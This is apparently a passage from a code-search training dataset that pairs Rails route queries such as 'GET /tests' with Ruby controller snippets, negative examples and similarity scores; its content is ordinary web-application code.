"def load_config!\n config = YAML.load_file @config_path\n\n unless config.key? @environment\n raise ClientError, \"No configuration found for specified environment `#{@environment}'\"\n end\n\n @config = config[@environment]\n @config.deeper_merge! DEFAULT_CONFIG\n\n emit :config_load\n end"
] | [
"0.793889",
"0.7560589",
"0.72770584",
"0.68423265",
"0.6518475",
"0.6499474",
"0.6489818",
"0.6366344",
"0.6357149",
"0.63405496",
"0.6338704",
"0.6313696",
"0.6297541",
"0.625269",
"0.6183174",
"0.61547285",
"0.61348826",
"0.61177576",
"0.61155534",
"0.60882854",
"0.6075647",
"0.6067512",
"0.6047666",
"0.6041908",
"0.60376346",
"0.6022598",
"0.59895235",
"0.5978403",
"0.5971085",
"0.5971085",
"0.5964731",
"0.5960431",
"0.5955628",
"0.59314364",
"0.5928928",
"0.5926173",
"0.5923677",
"0.5886707",
"0.58583087",
"0.58504474",
"0.5849159",
"0.58441323",
"0.58357215",
"0.5829654",
"0.5823704",
"0.58016187",
"0.57990855",
"0.57914543",
"0.5788172",
"0.57867175",
"0.5769582",
"0.5761125",
"0.5759241",
"0.57358295",
"0.5725483",
"0.57208514",
"0.5712579",
"0.56913495",
"0.56836003",
"0.56829184",
"0.56823814",
"0.5678794",
"0.5662807",
"0.5661528",
"0.56604284",
"0.5654197",
"0.56515443",
"0.56474584",
"0.5635926",
"0.5634535",
"0.563285",
"0.56316954",
"0.5628165",
"0.5626036",
"0.5623884",
"0.5622519",
"0.5619317",
"0.5616104",
"0.56128746",
"0.56077534",
"0.5607343",
"0.559314",
"0.5587309",
"0.5583204",
"0.5583204",
"0.55791414",
"0.5578355",
"0.5577137",
"0.55771035",
"0.5556064",
"0.55541253",
"0.5553978",
"0.55422443",
"0.5540857",
"0.552034",
"0.55198205",
"0.5519445",
"0.5513322",
"0.551031",
"0.55094725"
] | 0.7347687 | 2 |
GET /tests GET /tests.json | def index
@tests = Test.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n render status: :ok, json: @tests\n end",
"def test\n get(\"/help/test.json\")\n end",
"def test\n get(\"/help/test.json\")\n end",
"def index\n @tests = Test.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tests }\n end\n end",
"def listing\n tests = Test.where( user_id: test_params[:user_id] )\n all = TestSerializer.new.all_test(tests)\n return render json: all.as_json\n end",
"def test\n render json: { test: 'Tested.' }\n end",
"def test\n render json: { test: 'Tested.' }\n end",
"def show\n render status: :ok, json: @test\n end",
"def tests\n @tests ||= load_json(test_plan_path)&.fetch(:tests) if test_plan_path\n end",
"def index\n json = HTTParty.get(\"https://api.typeform.com/v1/form/WaIffL?key=f486f2db8f1249c077a08b582bc3efe0a2617668\").body\n\n @jsontests = JSON.parse(json)\n\n end",
"def show\n render json: @test\n end",
"def tests\n CircleCi.request(conf, \"#{base_path}/#{build}/tests\").get\n end",
"def get_all_synthetics_tests\n request(Net::HTTP::Get, \"/api/#{API_VERSION}/synthetics/tests\", nil, nil, false)\n end",
"def index\n @testers = Tester.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testers }\n end\n end",
"def show\n @test = Test.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test }\n end\n end",
"def index\n render status: :ok, json: @test_guide_scenarios\n end",
"def tests(run_id)\n get(\"get_tests/#{run_id}\")\n end",
"def show\n @test = LoadTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test }\n end\n end",
"def index\n\n @dtests = Dtest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dtests }\n end\n end",
"def search\n results = @test.search(test_params)\n return render json: {results: results, total: results.total_entries}\n end",
"def index\n @testtests = Testtest.all\n end",
"def test\n render json: { message: 'Hello World' }\n end",
"def index\n @software_tests = SoftwareTest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @software_tests }\n end\n end",
"def test_function_get_all_posts_successfully\n expected = 200\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def test\n Srchio::Response.new(self.class.get(\"/test\"))\n end",
"def show\n @tester = Tester.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tester }\n end\n end",
"def index\n render json: @test_module.test_questions, status: :ok\n end",
"def unitTests\n\t\trender(json: {nrFailed: 0, output: \"return some output\", totalTests: 15})\n\tend",
"def get_one\n test_data = @test.get_one\n return render json: test_data\n end",
"def test_home\n get '/'\n assert last_response.ok?\n data = JSON.parse(last_response.body)\n assert data.count > 0\n end",
"def index\n @testmonials = Testmonial.all\n\n render json: @testmonials\n end",
"def test\n get(\"/help/test\")\n end",
"def get_api_results(_url)\n JSON.parse File.read('spec/inspector/stubbed_example.json')\n end",
"def test_index \n get :index \n assert_response :success \n end",
"def show\n @test_run = TestRun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_run }\n end\n end",
"def test!\n @@api.post(endpoint: self.endpoint + ['test'])\n end",
"def test_index\n get :index\n assert_response :success\n end",
"def test_index\n get :index\n assert_response :success\n end",
"def show\n @testis = Teste.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @testis }\n end\n end",
"def test_get_index\n get :index\n assert_response :success\n end",
"def show\n @test_suite = TestSuite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_suite }\n end\n end",
"def index\n @gt_metrix_tests = apply_scopes(GtMetrixTest).all\n\n render json: @gt_metrix_tests\n end",
"def index\n @tests = @subject.tests.all\n end",
"def get_ab_tests(opts = {})\n @transporter.read(:GET, '/2/abtests', {}, opts)\n end",
"def show\n @test_result = TestResult.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_result }\n end\n end",
"def test_show_posts_user\n expected = 200\n user_id = 34\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/users/'+user_id+'/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def index\n @tests = TkdTest.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tests }\n end\n end",
"def results(test_id, day, month, year, options={})\n args = {testId: test_id, day: day, month: month, year: year}\n .merge(options)\n get('testresult', args)\n end",
"def index\n @application_tests = ApplicationTest.all\n end",
"def show\n @team_test = TeamTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team_test }\n end\n end",
"def index\n @test_runs = TestRun.accessible_by(current_ability).order(\"updated_at DESC\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @test_runs }\n end\n end",
"def index\n permitted_to! :inspect, Problem.find(params[:problem_id])\n @test_sets = TestSet.where(:problem_id => params[:problem_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @test_sets }\n end\n end",
"def investigate\n puts \"\\nRequesting JSON from #{url} and testing\"\n tests.each_pair do |test, block|\n print \" - #{test}\\n\"\n check test, block\n end\n summary\n exit_status\n end",
"def show\n @testcase = Testcase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @testcase }\n end\n end",
"def show\n @test_summary = TestSummary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_summary }\n end\n end",
"def test_show_success\n get \"api/v1/birds/#{@bird.id.to_s}\"\n assert_equal true, json.present?\n assert_equal \"blue\", json[\"title\"]\n assert_equal \"String\", json[\"type\"]\n assert_equal \"testing description\", json[\"description\"]\n end",
"def index\n @testurls = Testurl.all\n end",
"def index\n @user_tests = UserTest.all\n end",
"def index\n @reacttests = Reacttest.all\n end",
"def index\n @what_tests = WhatTest.all\n end",
"def show\n @test10 = Test10.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test10 }\n end\n end",
"def show\n @test_page = TestPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_page }\n end\n end",
"def test_index\n assert_response 200\n end",
"def index\n\t@instruction = Instruction.find( params[ :instruction_id ] )\n @testimonies = @instruction.testimonies.page( params[ :page ] ).per(20)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testimonies }\n end\n end",
"def info(test_id, options={})\n args = {testId: test_id}.merge(options)\n get('testinfo', args)\n end",
"def show\n @tktest = Tktest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tktest }\n end\n end",
"def test_show\n get '/category/1'\n end",
"def test_get_feed\n get :feed\n assert_response :success\n end",
"def show\n @test_post = TestPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_post }\n end\n end",
"def index\n @test_results = TestResult.all\n end",
"def tests(*args)\n @xml.xpath('./tests/test').collect do |xml_test|\n content = if xml_test.at_xpath('./Paragraph')\n xml_test.at_xpath('./Paragraph').text.split(\"\\n\").collect(&:strip).reject{|line| line.empty?}.join(\"\\n\")\n else\n 'n/a'\n end\n {\n id: xml_test.attributes['id'],\n status: xml_test.attributes['status'],\n content: content\n }\n end\n end",
"def show\n @testdb = Testdb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @testdb }\n end\n end",
"def index\n @test_example_results = TestExampleResult.all\n end",
"def show\n @section_test = SectionTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @section_test }\n end\n end",
"def show\n @usertest = Usertest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usertest }\n end\n end",
"def show\n render json: @testmonial\n end",
"def smoke_test ()\n\n smoke_test = [\"rest_get\"]\n return smoke_test\n end",
"def index\n @test_items = TestItem.all\n end",
"def index\n @runtests = Runtest.all\n end",
"def test_index \n post :index \n assert_response :success \n end",
"def tests\n @tests ||= @spec['tests'].collect do |test|\n Test.new(@data, test)\n end\n end",
"def index\n @test_details = TestDetail.all\n end",
"def test_story_create\n # skip\n story = Story.create(name: \"rando story name\")\n response = get \"/storyname\"\n json = JSON.parse(response.body)\n assert_equal story.name, json.last[\"name\"]\n # binding.pry\n end",
"def show\n @software_test = SoftwareTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @software_test }\n end\n end",
"def show\n @student_test = StudentTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_test }\n end\n end",
"def index\n @fixtures = Fixture.all\n\n respond_to do |format|\n format.json { render json: @fixtures }\n end\n end",
"def index\n @test_stalls = TestStall.all\n end",
"def test_get_skills_route\n render :json => get_profile_skills_for_profile(\"https://www.linkedin.com/in/marissamayer\").to_json\n end",
"def test_should_be_json_response\n get '/mock/example'\n assert_equal last_response.content_type, \"application/json\"\n end",
"def index\n @online_tests = OnlineTest.all\n end",
"def index\n @contests = Contest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contests }\n end\n end",
"def test_read_all_info\n get '/v1/read_all?data=eyJOYW1lIjogIkVkdWFyZG8iLCAiQ291bnRyeSI6ICJCcmF6aWwiIH0%3D'\n assert last_response.ok?\n assert last_response.body.include?('Eduardo')\n assert last_response.body.include?('Brazil')\n end",
"def show\n render status: :ok, json: @test_guide_scenario\n end"
] | [
"0.77513814",
"0.77281153",
"0.77281153",
"0.73835593",
"0.73397875",
"0.69955796",
"0.69955796",
"0.6836035",
"0.67343783",
"0.66843206",
"0.6667517",
"0.6658951",
"0.6608686",
"0.65748185",
"0.6561979",
"0.6547614",
"0.6522385",
"0.65215474",
"0.65199804",
"0.6516882",
"0.6505931",
"0.6500111",
"0.6474592",
"0.6463476",
"0.6463437",
"0.644361",
"0.6439838",
"0.643173",
"0.6420985",
"0.64120626",
"0.64116937",
"0.641132",
"0.6405125",
"0.6365101",
"0.6351189",
"0.6342934",
"0.63401204",
"0.63401204",
"0.63376933",
"0.6321795",
"0.63045436",
"0.62961376",
"0.6288735",
"0.62786216",
"0.62740916",
"0.62631273",
"0.6242968",
"0.6224893",
"0.6212076",
"0.62109375",
"0.61966753",
"0.61696994",
"0.61617285",
"0.6158448",
"0.6153892",
"0.6152744",
"0.6125263",
"0.6088178",
"0.6074734",
"0.60719985",
"0.6054522",
"0.60481733",
"0.6042234",
"0.60409135",
"0.60383624",
"0.6002755",
"0.59968406",
"0.59911335",
"0.59909475",
"0.59845036",
"0.59738576",
"0.5964947",
"0.5954009",
"0.59515876",
"0.5930716",
"0.5925044",
"0.59244967",
"0.5912701",
"0.59093624",
"0.59050024",
"0.58958274",
"0.58931607",
"0.58850205",
"0.5883355",
"0.5865316",
"0.58569396",
"0.5855326",
"0.5853788",
"0.5848823",
"0.58434296",
"0.58372396",
"0.5829533",
"0.5822764"
] | 0.65987116 | 19 |
GET /tests/1 GET /tests/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test\n get(\"/help/test.json\")\n end",
"def test\n get(\"/help/test.json\")\n end",
"def get_one\n test_data = @test.get_one\n return render json: test_data\n end",
"def index\n render status: :ok, json: @tests\n end",
"def index\n @tests = Test.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tests }\n end\n end",
"def test\n render json: { test: 'Tested.' }\n end",
"def test\n render json: { test: 'Tested.' }\n end",
"def show\n @test = Test.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test }\n end\n end",
"def listing\n tests = Test.where( user_id: test_params[:user_id] )\n all = TestSerializer.new.all_test(tests)\n return render json: all.as_json\n end",
"def show\n @test = LoadTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test }\n end\n end",
"def show\n render status: :ok, json: @test\n end",
"def show\n render json: @test\n end",
"def show\n @test_run = TestRun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_run }\n end\n end",
"def show\n @tester = Tester.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tester }\n end\n end",
"def show\n @testcase = Testcase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @testcase }\n end\n end",
"def show\n @test_suite = TestSuite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_suite }\n end\n end",
"def index\n json = HTTParty.get(\"https://api.typeform.com/v1/form/WaIffL?key=f486f2db8f1249c077a08b582bc3efe0a2617668\").body\n\n @jsontests = JSON.parse(json)\n\n end",
"def show\n @test_result = TestResult.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_result }\n end\n end",
"def show\n @testis = Teste.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @testis }\n end\n end",
"def show\n @test10 = Test10.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test10 }\n end\n end",
"def show\n @test_summary = TestSummary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_summary }\n end\n end",
"def get_api_results(_url)\n JSON.parse File.read('spec/inspector/stubbed_example.json')\n end",
"def index\n @testers = Tester.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testers }\n end\n end",
"def index\n @testmonials = Testmonial.all\n\n render json: @testmonials\n end",
"def test\n render json: { message: 'Hello World' }\n end",
"def test_show\n get '/category/1'\n end",
"def index\n\n @dtests = Dtest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dtests }\n end\n end",
"def show\n @test_page = TestPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_page }\n end\n end",
"def test_show_posts_user\n expected = 200\n user_id = 34\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/users/'+user_id+'/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def show\n @team_test = TeamTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team_test }\n end\n end",
"def test_show_success\n get \"api/v1/birds/#{@bird.id.to_s}\"\n assert_equal true, json.present?\n assert_equal \"blue\", json[\"title\"]\n assert_equal \"String\", json[\"type\"]\n assert_equal \"testing description\", json[\"description\"]\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def show\n @testdb = Testdb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @testdb }\n end\n end",
"def test\n Srchio::Response.new(self.class.get(\"/test\"))\n end",
"def test_function_get_all_posts_successfully\n expected = 200\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def index\n render status: :ok, json: @test_guide_scenarios\n end",
"def show\n @tktest = Tktest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tktest }\n end\n end",
"def index\n @software_tests = SoftwareTest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @software_tests }\n end\n end",
"def index\n permitted_to! :inspect, Problem.find(params[:problem_id])\n @test_sets = TestSet.where(:problem_id => params[:problem_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @test_sets }\n end\n end",
"def show\n @section_test = SectionTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @section_test }\n end\n end",
"def test_home\n get '/'\n assert last_response.ok?\n data = JSON.parse(last_response.body)\n assert data.count > 0\n end",
"def test_get_index\n get :index\n assert_response :success\n end",
"def test_story_create\n # skip\n story = Story.create(name: \"rando story name\")\n response = get \"/storyname\"\n json = JSON.parse(response.body)\n assert_equal story.name, json.last[\"name\"]\n # binding.pry\n end",
"def index\n render json: @test_module.test_questions, status: :ok\n end",
"def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend",
"def index\n @test_runs = TestRun.accessible_by(current_ability).order(\"updated_at DESC\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @test_runs }\n end\n end",
"def test\n get(\"/help/test\")\n end",
"def test_index \n get :index \n assert_response :success \n end",
"def show\n @test_post = TestPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_post }\n end\n end",
"def test_index\n get :index\n assert_response :success\n end",
"def test_index\n get :index\n assert_response :success\n end",
"def show\n @usertest = Usertest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usertest }\n end\n end",
"def fetch_experiment(id)\n url = @base + \"experiments/#{id}.json?token=#{@token}\"\n puts url\n response = JSON.parse(RestClient.get(url))\nend",
"def index\n @testtests = Testtest.all\n end",
"def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"def show\n @test_class = TestClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_class }\n end\n end",
"def show\n @software_test = SoftwareTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @software_test }\n end\n end",
"def test_post_then_get\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n id = last_response.body\n\n get \"/traces/#{id}\"\n check_valid_trace last_response.body\n end",
"def show\n @student_test = StudentTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_test }\n end\n end",
"def index\r\n render json: { status: \"Test API\"}\r\n end",
"def show\n @test_file = TestFile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_file }\n end\n end",
"def show\n render json: @testmonial\n end",
"def show\n @test = Test.find(params[:id])\n end",
"def test_should_be_json_response\n get '/mock/example'\n assert_equal last_response.content_type, \"application/json\"\n end",
"def index\n @test1s = Test1.all\n end",
"def index\n\t@instruction = Instruction.find( params[ :instruction_id ] )\n @testimonies = @instruction.testimonies.page( params[ :page ] ).per(20)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testimonies }\n end\n end",
"def search\n results = @test.search(test_params)\n return render json: {results: results, total: results.total_entries}\n end",
"def show\n @test_run = TestRun.accessible_by(current_ability).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_run }\n end\n end",
"def new\n @test = LoadTest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test }\n end\n end",
"def new\n @test_run = TestRun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_run }\n end\n end",
"def info(test_id, options={})\n args = {testId: test_id}.merge(options)\n get('testinfo', args)\n end",
"def test_index\n assert_response 200\n end",
"def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n #puts \"🤖 GET #{path}\"\n #puts \"HTTP #{response.code}\"\n #puts JSON.pretty_generate(result)\n result\nend",
"def tests\n @tests ||= load_json(test_plan_path)&.fetch(:tests) if test_plan_path\n end",
"def tests(run_id)\n get(\"get_tests/#{run_id}\")\n end",
"def new\n @tester = Tester.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tester }\n end\n end",
"def new\n @tester = Tester.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tester }\n end\n end",
"def investigate\n puts \"\\nRequesting JSON from #{url} and testing\"\n tests.each_pair do |test, block|\n print \" - #{test}\\n\"\n check test, block\n end\n summary\n exit_status\n end",
"def unitTests\n\t\trender(json: {nrFailed: 0, output: \"return some output\", totalTests: 15})\n\tend",
"def test!\n @@api.post(endpoint: self.endpoint + ['test'])\n end",
"def index\n @tests = @subject.tests.all\n end",
"def test_show\n get :show,\n :id => posts(:by_quentin).id\n assert_response :success\n end",
"def index\n @tests = TkdTest.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tests }\n end\n end",
"def show\n @smoke_test = SmokeTest.find(params[:id], :include => SMOKE_TESTS_OBJ_INCLUDES)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @smoke_test } #formated via as_json\n format.xml { render :xml => @smoke_test, :include => SMOKE_TESTS_OBJ_INCLUDES }\n end\n end",
"def show\n @dtest = Dtest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dtest }\n end\n end",
"def index\n @api_v1_exercises = Api::V1::Exercise.all\n end",
"def index\n @contests = Contest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contests }\n end\n end",
"def test_read_all_info\n get '/v1/read_all?data=eyJOYW1lIjogIkVkdWFyZG8iLCAiQ291bnRyeSI6ICJCcmF6aWwiIH0%3D'\n assert last_response.ok?\n assert last_response.body.include?('Eduardo')\n assert last_response.body.include?('Brazil')\n end",
"def index\n @testurls = Testurl.all\n end",
"def show\n @fixture = Fixture.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @fixture }\n end\n end",
"def tests\n CircleCi.request(conf, \"#{base_path}/#{build}/tests\").get\n end",
"def get_all_synthetics_tests\n request(Net::HTTP::Get, \"/api/#{API_VERSION}/synthetics/tests\", nil, nil, false)\n end",
"def show\n @test_board = TestBoard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_board }\n end\n end"
] | [
"0.7404314",
"0.7404314",
"0.7304388",
"0.7279787",
"0.7125164",
"0.6878569",
"0.6878569",
"0.6849366",
"0.67718923",
"0.6757094",
"0.6669219",
"0.6624378",
"0.66209686",
"0.66169363",
"0.6546323",
"0.64791626",
"0.64788824",
"0.6474367",
"0.6439662",
"0.643125",
"0.6427616",
"0.6401213",
"0.633413",
"0.63120824",
"0.62851495",
"0.62592643",
"0.62532175",
"0.6248113",
"0.62467533",
"0.62434715",
"0.622782",
"0.6217138",
"0.6217138",
"0.6217138",
"0.6217138",
"0.6217138",
"0.6217138",
"0.6217138",
"0.6217138",
"0.621136",
"0.61916435",
"0.61878926",
"0.6169257",
"0.6167943",
"0.61500216",
"0.61484396",
"0.6137096",
"0.6134135",
"0.6130134",
"0.6120788",
"0.6117335",
"0.61146426",
"0.6079525",
"0.60789186",
"0.6076916",
"0.6075127",
"0.60590214",
"0.60590214",
"0.60537297",
"0.6049449",
"0.6035238",
"0.6033081",
"0.6033081",
"0.6022075",
"0.6007564",
"0.600318",
"0.5994812",
"0.5975518",
"0.5968944",
"0.5963515",
"0.5947054",
"0.5940372",
"0.593668",
"0.5929868",
"0.5927434",
"0.5918147",
"0.5913966",
"0.59119993",
"0.59092385",
"0.5903438",
"0.59012794",
"0.59010243",
"0.58957446",
"0.5878725",
"0.5878725",
"0.5870428",
"0.5868258",
"0.5866501",
"0.5864534",
"0.5855766",
"0.58484656",
"0.5847873",
"0.58411556",
"0.58391994",
"0.5833283",
"0.5829145",
"0.58286166",
"0.58273494",
"0.582481",
"0.58073187",
"0.58034146"
] | 0.0 | -1 |
POST /tests POST /tests.json | def create
@test = Test.new(test_params)
@test.update_question_details(test_params) if @test.valid?
respond_to do |format|
if @test.save
format.html { redirect_to @test, notice: 'Test was successfully created.' }
format.json { render :show, status: :created, location: @test }
else
format.html { render :new }
format.json { render json: @test.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def v2_tests_post(test_detail, opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: TestsApi#v2_tests_post ...\"\n end\n \n # verify the required parameter 'test_detail' is set\n fail \"Missing the required parameter 'test_detail' when calling v2_tests_post\" if test_detail.nil?\n \n # resource path\n path = \"/v2/tests\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'text/json', 'application/xml', 'text/xml']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json', 'text/json', 'application/xml', 'text/xml', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(test_detail)\n \n\n auth_names = []\n result = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TestSummary')\n if Configuration.debugging\n Configuration.logger.debug \"API called: TestsApi#v2_tests_post. Result: #{result.inspect}\"\n end\n return result\n end",
"def create\n @test = Test.create!(test_params)\n\n render json: @test\n end",
"def test!\n @@api.post(endpoint: self.endpoint + ['test'])\n end",
"def test_post_success_with_param\n post \"/\", {:data => @test_obj} do |response|\n assert response.ok?, \"Create test object failed\"\n assert_equal response.body, @test_obj.to_json, \"Did not get @test_obj back\"\n end\n end",
"def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end",
"def test_should_create_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/forum_posts.json\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n topic = JSON.parse(response.body)\r\n assert topic['title'] == 'API Test Post', 'Incorrect topic title'\r\n assert topic['user_id'] == 1, 'Incorrect user id'\r\n assert topic['body'] == 'Test Post desc', 'Incorrect topic description' \r\n end",
"def create\n @test = Test.new(test_params)\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @test }\n else\n format.html { render :new }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test = Test.new(test_params)\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @test }\n else\n format.html { render :new }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test = Test.new(test_params)\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @test }\n else\n format.html { render :new }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test = Test.new(test_params)\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @test }\n else\n format.html { render :new }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
